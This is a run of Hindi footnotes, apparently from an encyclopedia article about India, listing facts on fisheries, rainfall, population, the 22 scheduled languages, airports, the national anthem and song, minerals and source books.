- ↑ प्रमुख सागरीय मछलियाँ- बटरफिश, स्वेत बेट, सारडाइन, प्रान, मैकरेल, ज्यूफिश, रिबनफिश, कैटफिश, सारंगा, दारा, ट्यूना, मुलेट्स, सियरफिश, शार्क, पामफ्रेट, श्रिम्प आदि। विश्व मत्स्ययन का- 2.7%।
- ↑ कुल क्षेत्रफल का 22.7%
- ↑ सिंचाई के साधन
- ↑ 200 सेमी. वार्षिक वर्षा वाले क्षेत्रों में बिना सिंचाई के
- ↑ 100 से 200 सेमी. वर्षा वालेऐ जलोढ़ एंव काली मिट्टी के क्षेत्रों में
- ↑ उत्तर-पूर्वी भारत, पश्चिमी घाट आदि क्षेत्रों में
- ↑ विशेष रूप से हिमालय के ढालों पर
- ↑ मणिपुर के सेनापति ज़िले के तीन उपज़िलों को छोड़कर
- ↑ अनुसूचित जातियों की संख्या
- ↑ अनुसूचित जनजातियों की संख्या
- ↑ औसत वार्षिक घातीय वृद्धि दर
- ↑ अनुच्छेद 344 (1), 351, आठवीं अनुसूची के अनुसार 22 भाषाऐं है जिनके नाम इस प्रकार है:-
असमिया
, बांग्ला
, गुजराती
, हिन्दी
, कन्नड़
, कश्मीरी
, कोंकणी
, मलयालम
, मणिपुरी
, मराठी
, नेपाली
, उड़िया
, पंजाबी
, संस्कृत
, सिंधी
, तमिल
, उर्दू
, तेलुगु
, बोडो
, डोगरी
, मैथिली
, संथाली
- ↑ कृषि से संबंधित कार्य में संलग्न उद्यमों का प्रतिशत
- ↑ गैर-कृषि संबंधी कार्यों में संलग्न उद्यमों का प्रतिशत
- ↑ कुल उद्यमों का 1.4%
- ↑ जवाहर लाल नेहरू अन्तर्राष्ट्रीय हवाई अड्डा (सान्ताक्रुज, मुम्बई), सुभाष चन्द्र बोस हवाई अड्डा (दमदम- कोलकाता), इन्दिरा गाँधी अन्तर्राष्ट्रीय हवाई अड्डा (पालम, दिल्ली), मीनाम्बकम हवाई अड्डा (चेन्नई) तथा तिरुवनन्तपुरम।
- ↑ रचयिता-गुरुदेव रवीन्द्र नाथ टैगोर
- ↑ रचयिता- बंकिमचन्द्र चटर्जी
- ↑ गिरनार का बारहवाँ शिलालेख "अशोक के धर्म लेख" से पृष्ठ सं- 31
- ↑ प्रत्येक 170 किग्रा वजन वाली मिलियन गांठे
- ↑ प्रत्येक 180 किग्रा वजन वाली मिलियन गांठे
- ↑ सम्पूर्ण विश्व का लगभग 25% विद्यमान है।
- ↑ (कोल्लार स्वर्ण क्षेत्र तथा अनन्तपुर ज़िले से बहुत कम मात्रा में सोना निकाला जाता है)
- ↑ लगभग 383 करोड़ टन
- ↑ (लाख टन)
- ↑ खदानों की संख्या
- ↑ 46.0 46.1 46.2 देश के कुल भंडार का प्रतिशत सन्दर्भ त्रुटि:
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- ↑ 2000-01 (लाख टन)
- ↑ (क्यूबिक मीटर)
- ↑ अद्भुत भारत- लेखक- ए.एल. बाशम
- ↑ 50.0 50.1 50.2 भारत का जनसंख्या मूलक अध्ययन, लेखक- विक्तर पेत्रोव
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